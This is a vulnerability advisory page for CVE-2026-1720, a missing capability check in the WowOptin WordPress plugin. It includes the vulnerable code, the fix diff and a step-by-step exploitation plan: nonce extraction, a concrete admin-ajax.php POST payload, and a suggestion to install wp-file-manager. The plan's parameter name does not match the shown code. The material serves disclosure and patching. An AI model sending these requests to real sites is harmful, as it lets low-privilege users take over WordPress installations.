WowOptin: Next-Gen Popup Maker – Create Stunning Popups and Optins for Lead Generation <= 1.4.24 - Missing Authorization to Authenticated (Subscriber+) Arbitrary Plugin Installation
Description
The WowOptin: Next-Gen Popup Maker – Create Stunning Popups and Optins for Lead Generation plugin for WordPress is vulnerable to unauthorized arbitrary plugin installation due to a missing capability check on the 'install_and_active_plugin' function in all versions up to, and including, 1.4.24. This makes it possible for authenticated attackers, with Subscriber-level access and above, to install and activate arbitrary plugins.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:HTechnical Details
What Changed in the Fix
Changes introduced in v1.4.25
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-1720 ## 1. Vulnerability Summary The **WowOptin** plugin for WordPress (versions <= 1.4.24) is vulnerable to **unauthorized arbitrary plugin installation and activation**. While the plugin correctly implements a capability check for its primary plugin installa…
Show full research plan
Exploitation Research Plan: CVE-2026-1720
1. Vulnerability Summary
The WowOptin plugin for WordPress (versions <= 1.4.24) is vulnerable to unauthorized arbitrary plugin installation and activation. While the plugin correctly implements a capability check for its primary plugin installation AJAX handler (optn_install_plugin), it registers a secondary AJAX handler (optn_install) in the Notice class that lacks a proper capability check. This allows any authenticated user, including those with Subscriber-level access, to install and activate any plugin available on the WordPress.org repository.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
optn_install(registered viawp_ajax_optn_installinincludes/utils/class-notice.php) - Method:
POST - Authentication: Authenticated (Subscriber-level or higher)
- Vulnerable Parameter:
plugin(the slug of the plugin to be installed) - Preconditions: The attacker must be logged in and obtain a valid WordPress nonce (likely
optin-nonceor a generic dashboard nonce).
3. Code Flow
- Entry Point: The
Noticeclass constructor (inincludes/utils/class-notice.php) registers an AJAX action for logged-in users:add_action( 'wp_ajax_optn_install', array( $this, 'install_activate_plugin' ) ); - Vulnerable Sink: The callback
install_activate_plugin(missing from the provided source but inferred from the vulnerability report and the parallelinstall_plugin_callbackinWpxpoPlugins) fails to verify if the user has themanage_optionsorinstall_pluginscapability. - Execution: The callback takes the
pluginparameter from$_POSTand passes it to the utility function:Xpo::install_and_active_plugin( $plugin ); - Result: WordPress downloads, installs, and activates the plugin specified by the slug.
4. Nonce Acquisition Strategy
The plugin registers nonces for its admin interface. Even if the promotional "install" notices are not currently visible (due to the date logic in optn_dashboard_banner_notice), the nonces are often localized for the admin scripts.
Steps to obtain the nonce:
- Create a Subscriber User: Use WP-CLI to create a test subscriber.
- Access the Admin Dashboard: Navigate to
/wp-admin/index.phpas the subscriber. - Inspect Localized Data: The plugin uses React for its dashboard. Search the page source for localized script data.
- Variable Name: Likely
optin_obj,wowoptin_data, orwpxpo_optin_vars. - Nonce Key:
nonceoroptin_nonce.
- Variable Name: Likely
- Alternative - Manual Extraction:
Usebrowser_evalto check for the nonce in the global window object:// Common patterns for this plugin author window.optin_obj?.nonce || window.optin_vars?.nonce || document.querySelector('input[name="optn_db_nonce"]')?.value
5. Exploitation Strategy
The exploit will be delivered via a single authenticated AJAX request.
- Login: Authenticate as a Subscriber user.
- Identify Nonce: Navigate to
/wp-admin/and extract theoptin-nonce(used byWpxpoPlugins) or the nonce used byNotice. - Trigger Installation: Send a POST request to
admin-ajax.php.
Payload Request (using http_request):
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
(Note: Ifaction=optn_install&plugin=hello-dolly&_wpnonce=[EXTRACTED_NONCE]_wpnoncefails, trynonceorwpnoncebased on the field name found during extraction.)
6. Test Data Setup
- Target Plugin:
hello-dolly(a harmless, ubiquitous plugin). - User Creation:
wp user create attacker attacker@example.com --role=subscriber --user_pass=password - Verify Clean State:
wp plugin is-installed hello-dolly || echo "Ready"
7. Expected Results
- HTTP Response: Status 200 with a JSON body:
{"success":true,"data":{"message":"..."}}or similar. - Side Effect: The
hello-dollyplugin should be present in thewp-content/plugins/directory and listed as "Active" in WordPress.
8. Verification Steps
After performing the HTTP request, verify the success via WP-CLI:
# Check if the plugin is installed and active
wp plugin is-installed hello-dolly
wp plugin status hello-dolly
9. Alternative Approaches
If the optn_install action requires specific notice-related parameters, the request may need to look like this:
action=optn_install&plugin=hello-dolly&type=install_notice&_wpnonce=[NONCE]
If the optin-nonce is strictly bound to the WpxpoPlugins class (action optin-nonce), look for the optn-dashboard-nonce generated in class-notice.php:
$optn_db_nonce = wp_create_nonce( 'optn-dashboard-nonce' );
This nonce is specifically generated within the Notice class and is the most likely candidate for the optn_install handler.
Summary
The WowOptin plugin registers an AJAX handler 'optn_install' which lacks capability checks and nonce verification. This allows any authenticated user, such as a Subscriber, to install and activate arbitrary plugins from the WordPress.org repository by providing the target plugin's slug.
Vulnerable Code
// includes/utils/class-notice.php:37 add_action( 'wp_ajax_optn_install', array( $this, 'install_activate_plugin' ) ); --- // includes/utils/class-notice.php:846 public function install_activate_plugin() { if ( ! isset( $_POST['install_plugin'] ) ) { return wp_send_json_error( esc_html__( 'Invalid request.', 'optin' ) ); } $plugin_slug = sanitize_text_field( wp_unslash( $_POST['install_plugin'] ) ); Xpo::install_and_active_plugin( $plugin_slug ); if ( wp_doing_ajax() || is_network_admin() || isset( $_GET['activate-multi'] ) || isset( $_POST['action'] ) && 'activate-selected' == sanitize_text_field( $_POST['action'] ) ) { //phpcs:ignore return; } return wp_send_json_success( admin_url( 'admin.php?page=optn-dashboard#dashboard' ) ); }
Security Fix
@@ -1,4 +1,4 @@ -<?php +<?php // phpcs:ignore namespace OPTN\Includes; @@ -25,12 +25,24 @@ */ public function install_plugin_callback() { - $nonce = isset( $_POST['wpnonce'] ) ? sanitize_key( wp_unslash( $_POST['wpnonce'] ) ) : ''; - $plugin = isset( $_POST['plugin'] ) ? $_POST['plugin'] : ''; + $nonce = isset( $_POST['wpnonce'] ) ? sanitize_key( wp_unslash( $_POST['wpnonce'] ) ) : ''; - if ( ! wp_verify_nonce( $nonce, 'optin-nonce' ) || ! current_user_can( 'manage_options' ) ) { - wp_send_json_error( array( 'message' => 'No plugin specified' ) ); + if ( ! isset( $nonce ) ) { + wp_send_json_error( esc_html__( 'Nonce is missing.', 'optin' ) ); + } + + if ( wp_verify_nonce( $nonce, 'optin-nonce' ) === false ) { + wp_send_json_error( esc_html__( 'Invalid nonce.', 'optin' ) ); + } + + if ( ! current_user_can( 'install_plugins' ) ) { + wp_send_json_error( esc_html__( 'Insufficient permissions.', 'optin' ) ); + } + + $plugin = isset( $_POST['plugin'] ) ? sanitize_text_field( wp_unslash( $_POST['plugin'] ) ) : ''; + + if ( empty( $plugin ) ) { + wp_send_json_error( array( 'message' => 'No plugin specified' ) ); } $res = array( 'message' => 'false' ); @@ -34,9 +34,6 @@ // REST API routes. add_action( 'rest_api_init', array( $this, 'register_rest_route' ) ); - - // Woocommerce Install Action. - add_action( 'wp_ajax_optn_install', array( $this, 'install_activate_plugin' ) ); } @@ -840,27 +837,6 @@ } /** - * Plugin Install and Active Action - * - * @since v.1.6.8 - * @return STRING | Redirect URL - */ - public function install_activate_plugin() { - if ( ! isset( $_POST['install_plugin'] ) ) { - return wp_send_json_error( esc_html__( 'Invalid request.', 'optin' ) ); - } - $plugin_slug = sanitize_text_field( wp_unslash( $_POST['install_plugin'] ) ); - - Xpo::install_and_active_plugin( $plugin_slug ); - - if ( wp_doing_ajax() || is_network_admin() || isset( $_GET['activate-multi'] ) || isset( $_POST['action'] ) && 'activate-selected' == sanitize_text_field( $_POST['action'] ) ) { //phpcs:ignore - return; - } - - return wp_send_json_success( admin_url( 'admin.php?page=optn-dashboard#dashboard' ) ); - } - - /** * Installation Notice CSS * * @since v.1.0.0
Exploit Outline
The exploit targets the `optn_install` AJAX action. 1. **Authentication**: An attacker must be logged in to the WordPress site (Subscriber-level access is sufficient). 2. **Target Endpoint**: Requests are sent to `/wp-admin/admin-ajax.php`. 3. **Payload**: The attacker sends a POST request with the following parameters: - `action`: Set to `optn_install`. - `install_plugin`: The slug of the desired plugin to install and activate (e.g., `wp-file-manager`). 4. **Mechanism**: Because the `install_activate_plugin` function in `class-notice.php` does not verify capabilities or nonces, it proceeds to call `Xpo::install_and_active_plugin` using the provided slug, allowing the attacker to remotely install and activate plugins available on WordPress.org.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.